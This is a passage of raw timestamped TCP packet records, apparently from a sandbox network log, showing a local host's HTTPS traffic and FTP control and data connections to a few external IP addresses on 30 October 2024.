Oct 30, 2024 08:35:13.049211025 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.049274921 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.049379110 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.049443960 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.049654007 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.049715042 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.049875021 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.049978971 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.050740004 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.050806999 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.051693916 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.051767111 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.051799059 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.051848888 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.051872969 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.052500963 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.052562952 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.053412914 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.053482056 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.053699017 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.053757906 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.054100990 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.054164886 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.076303959 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.076394081 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.076395988 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.076411963 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.076452971 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.076561928 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.076622009 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.076668978 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.076728106 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.076817989 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.076879978 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.077040911 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.077100039 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.077219963 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.077274084 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.077389956 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.077451944 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.077605009 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.077658892 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.077759981 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.077821970 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.078007936 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.078067064 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.118396044 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.118514061 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.118530035 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.118563890 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.118607044 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.118607044 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.135332108 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.135410070 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.158514977 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.158572912 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.158795118 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.158840895 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.158849955 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.158863068 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.158885956 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.158898115 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.158898115 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.158912897 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.158962011 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.158966064 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.158998013 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.159004927 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.159032106 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.159051895 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.159073114 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.159132004 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.159266949 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.159317970 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.159321070 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.159329891 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.159364939 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.159420013 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.159475088 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.160326004 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.160388947 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.160613060 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.160670042 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.160676956 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.160689116 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.160739899 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.160739899 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.160751104 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.160784960 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.160882950 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.160940886 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.161314011 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.161356926 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.161374092 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.161381006 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.161403894 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.161420107 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.161746025 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.161796093 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162045002 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162126064 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162235975 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162288904 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162292957 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162309885 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162314892 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162348986 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162373066 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162412882 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162480116 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162563086 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162616014 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162753105 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162805080 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162808895 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162817001 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162874937 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162878990 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.162887096 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.162921906 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.191845894 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.191909075 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.191991091 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.192042112 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.192142963 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.192194939 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.192342043 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.192404032 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.192410946 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.192454100 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.192495108 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.193481922 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.193499088 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.193520069 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.193526030 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.251085043 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:13.295994997 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:13.341002941 CET	49738	55553	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:13.346364975 CET	55553	49738	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:13.346421957 CET	49738	55553	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:13.348221064 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:13.353487015 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:14.264015913 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:14.264195919 CET	49738	55553	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:14.270169973 CET	55553	49738	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:14.270309925 CET	49738	55553	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:14.314985991 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:14.599478960 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:14.649988890 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:17.102197886 CET	49740	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:17.102242947 CET	443	49740	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:17.102365017 CET	49740	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:17.112234116 CET	49740	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:17.112251043 CET	443	49740	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:17.710941076 CET	443	49740	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:17.711061001 CET	49740	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:17.712603092 CET	49740	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:17.712614059 CET	443	49740	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:17.712860107 CET	443	49740	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:17.785811901 CET	49740	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:17.793137074 CET	49740	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:17.835345030 CET	443	49740	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:17.964560986 CET	443	49740	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:17.964631081 CET	443	49740	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:17.964765072 CET	49740	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:17.967678070 CET	49740	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:19.946712017 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:19.952384949 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:19.952461958 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:19.983376026 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:20.865628004 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:20.865926981 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:20.871320963 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:21.207725048 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:21.208947897 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:21.214421034 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:21.581561089 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:21.585005999 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:21.590488911 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:21.926707029 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:21.926950932 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:21.932286978 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:22.269224882 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:22.269404888 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:22.274812937 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:22.611031055 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:22.614164114 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:22.619565010 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:22.956015110 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:22.956649065 CET	49747	54601	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:22.962532043 CET	54601	49747	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:22.962678909 CET	49747	54601	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:22.962696075 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:22.968097925 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:23.899625063 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:23.900856018 CET	49747	54601	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:23.900856018 CET	49747	54601	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:23.906374931 CET	54601	49747	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:23.906940937 CET	54601	49747	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:23.907031059 CET	49747	54601	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:23.942132950 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:24.250138044 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:24.307506084 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:24.370490074 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:24.545617104 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:24.883752108 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:24.884253025 CET	49748	56275	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:24.891036034 CET	56275	49748	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:24.891144991 CET	49748	56275	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:24.891191006 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:24.896512985 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:25.791163921 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:25.791393042 CET	49748	56275	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:25.791440010 CET	49748	56275	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:25.798177958 CET	56275	49748	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:25.798194885 CET	56275	49748	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:25.798208952 CET	56275	49748	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:25.798573017 CET	56275	49748	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:25.798628092 CET	49748	56275	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:25.832731009 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:26.135822058 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:26.136253119 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:26.141680956 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:26.478383064 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:26.478844881 CET	49749	62466	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:26.484154940 CET	62466	49749	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:26.484241009 CET	49749	62466	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:26.487298012 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:26.492630959 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:27.406430006 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:27.406723022 CET	49749	62466	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:27.414047956 CET	62466	49749	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:27.414140940 CET	49749	62466	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:27.457712889 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:27.762337923 CET	21	49744	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:27.817055941 CET	49744	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:28.521960020 CET	49750	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:28.522013903 CET	443	49750	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:28.522116899 CET	49750	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:28.522207975 CET	49750	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:28.522277117 CET	443	49750	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:28.522340059 CET	49750	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:28.540868044 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:28.540918112 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:28.541008949 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:28.542107105 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:28.542126894 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.215665102 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.215806007 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.219444036 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.219458103 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.219779015 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.259332895 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.402861118 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.447349072 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.566586971 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.566616058 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.566628933 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.566715002 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.566731930 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.610290051 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.683175087 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.683195114 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.683285952 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.683295012 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.683307886 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.683336020 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.683340073 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.683356047 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.683406115 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.685308933 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.685388088 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.715882063 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.716042995 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.800309896 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.800409079 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.801245928 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.801352978 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.802164078 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.802282095 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.802952051 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.803052902 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.803956032 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.804085970 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.804897070 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.804965973 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.832775116 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.832910061 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.917181015 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.917464972 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.917738914 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.917886019 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.918204069 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.918417931 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.918910980 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.918998003 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.919090986 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.919193029 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.919878960 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.919953108 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.920747995 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.920818090 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.920907021 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.921041965 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.921766043 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.921839952 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.922601938 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.922682047 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.922702074 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.922771931 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.923571110 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.923655987 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.949609041 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.949752092 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.949805021 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.949805021 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:29.949831963 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:29.949876070 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.034760952 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.034895897 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.034926891 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.034941912 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.034986019 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.034986019 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.035037994 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.035101891 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.035219908 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.035300016 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.035446882 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.035599947 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.035624981 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.035731077 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.035762072 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.035856009 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.035887957 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.035981894 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.036065102 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.036173105 CET	49751	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:30.042068005 CET	443	49751	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:30.042176962 CET	49751	443	192.168.2.4	50.116.93.185
